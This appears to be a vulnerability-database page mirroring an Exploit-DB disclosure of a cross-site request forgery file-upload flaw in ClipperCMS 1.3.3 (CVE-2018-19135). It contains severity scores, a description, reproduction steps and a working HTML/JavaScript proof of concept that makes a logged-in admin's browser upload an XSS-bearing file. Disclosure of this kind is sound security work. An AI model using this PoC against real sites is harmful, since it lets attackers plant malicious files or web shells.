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Ameer PornillosEDB-ID:45839HistoryNov 13, 2018 - 12:00 a.m.
ClipperCMS 1.3.3 - Cross-Site Request Forgery (File Upload)
2018-11-1300:00:00
Ameer Pornillos
www.exploit-db.com
17
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
0.002 Low
EPSS
Percentile
55.7%
# Exploit Title: ClipperCMS 1.3.3 File Upload CSRF Vulnerability
# Date: 2018-11-11
# Exploit Author: Ameer Pornillos
# Website: http://ethicalhackers.club
# Vendor Homepage: http://www.clippercms.com/
# Software Link: https://github.com/ClipperCMS/ClipperCMS/releases/tag/clipper_1.3.3
# Version: 1.3.3
# Tested on: Windows 10 x64 (XAMPP, Firefox)
# CVE : CVE-2018-19135
* Description:
ClipperCMS 1.3.3 does not have CSRF protection on its kcfinder file upload
which is being used by default. This can be used by an attacker to perform
actions for an admin (or any user with file upload capability). With this
vulnerability, it can automatically upload file/s (by default it allows
aac,au,avi,css,cache,doc,docx,gz,gzip,htm,html,js,mp3,mp4,mpeg,mpg,ods,odp,odt,pdf,ppt,pptx,rar,tar,tgz,txt,wav,wmv,xls,xlsx,xml,z,zip
as file types). Note that web shell that can be used for remote code
execution can be achieved depending on the file types being accepted.
Uploaded file can be accessed publicly on the "/assets/files" directory
(e.g. uploaded a malicious html file with filename: poc.html file =>
http://<clipperwebsite>/clipper/assets/files/poc.html).
This can lead for the website to be host unintended file/s.
*Steps to reproduce:
Admin (or user with file upload capability) logged in ClipperCMS 1.3.3 ->
browse/open a controlled website (e.g. by link or open PoC below in a
browser where admin/user logged in to ClipperCMS 1.3.3) with the poc below
-> file is uploaded and can be accessed on http://
<clipperwebsite>/clipper/assets/files/poc.html
*Proof of Concept:
PoC below will automatically upload a "poc.html" file with simple XSS
payload. Steps above are how to make use of the PoC.
<html>
<!-- CSRF Auto Upload File ClipperCMS PoC -->
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST",
"http:\/\/clipperwebsite\/clipper\/manager\/media\/browser\/kcfinder\/browse.php?type=files&lng=en&act=upload",
true);
xhr.setRequestHeader("Accept",
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------167248871811044278431417596280");
xhr.withCredentials = true;
var body =
"-----------------------------167248871811044278431417596280\r\n" +
"Content-Disposition: form-data; name=\"upload[]\";
filename=\"poc.html\"\r\n" +
"Content-Type: text/html\r\n" +
"\r\n" +
"\x3cscript\x3ealert(\'XSS\')\x3c/script\x3e\n" +
"\r\n" +
"-----------------------------167248871811044278431417596280\r\n"
+
"Content-Disposition: form-data; name=\"dir\"\r\n" +
"\r\n" +
"files\r\n" +
"-----------------------------167248871811044278431417596280--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>
</body>
</html>
*Proof of Concept Demo:
Actual video demo of the vulnerability being exploited is available on:
https://youtu.be/bEYqb99MdYs
*Reference:
https://github.com/ClipperCMS/ClipperCMS/issues/494Related
exploitpack
exploitpack
ClipperCMS 1.3.3 - Cross-Site Request Forgery (File Upload)
2018-11-13 00:00:00
cve
cve
CVE-2018-19135
2018-11-11 04:29:00
prion
prion
Design/Logic Flaw
2018-11-11 04:29:00
zdt
zdt
ClipperCMS 1.3.3 - Cross-Site Request Forgery (File Upload) Vulnerability
2018-11-14 00:00:00
osv
osv
CVE-2018-19135
2018-11-11 04:29:00
cvelist
cvelist
CVE-2018-19135
2018-11-11 04:00:00
nvd
nvd
CVE-2018-19135
2018-11-11 04:29:00
packetstorm
packetstorm
ClipperCMS 1.3.3 Cross Site Request Forgery
2018-11-14 00:00:00
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
0.002 Low
EPSS
Percentile
55.7%
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